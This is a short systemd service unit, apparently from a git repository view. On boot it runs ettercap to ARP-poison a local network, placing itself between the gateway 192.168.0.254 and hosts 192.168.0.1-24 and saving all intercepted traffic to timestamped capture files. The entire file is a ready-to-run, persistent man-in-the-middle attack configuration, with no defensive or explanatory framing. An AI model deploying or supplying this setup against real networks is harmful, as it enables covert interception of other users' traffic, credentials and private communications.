blob: 65963bef8db626a141587dbcb6e14b55fc6ca152 (
plain)
1
2
3
4
5
6
7
8
9
10
11
12
|
[Unit]
Description=ARP Cache poisoning iface enp6s0
Requires=network-online.target
After=network-online.target
[Service]
Type=simple
# Note you need to escape percentage sign
ExecStart=/bin/bash -c "VERSION=$(date +%%Y%%m%%d%%H%%M%%S);ettercap -TQ -i enp6s0 -w /mnt/lv3/passerelle-dump/fwd-enp6s0-$VERSION.cap -M arp:remote /192.168.0.254// /192.168.0.1-24//"
[Install]
WantedBy=multi-user.target
|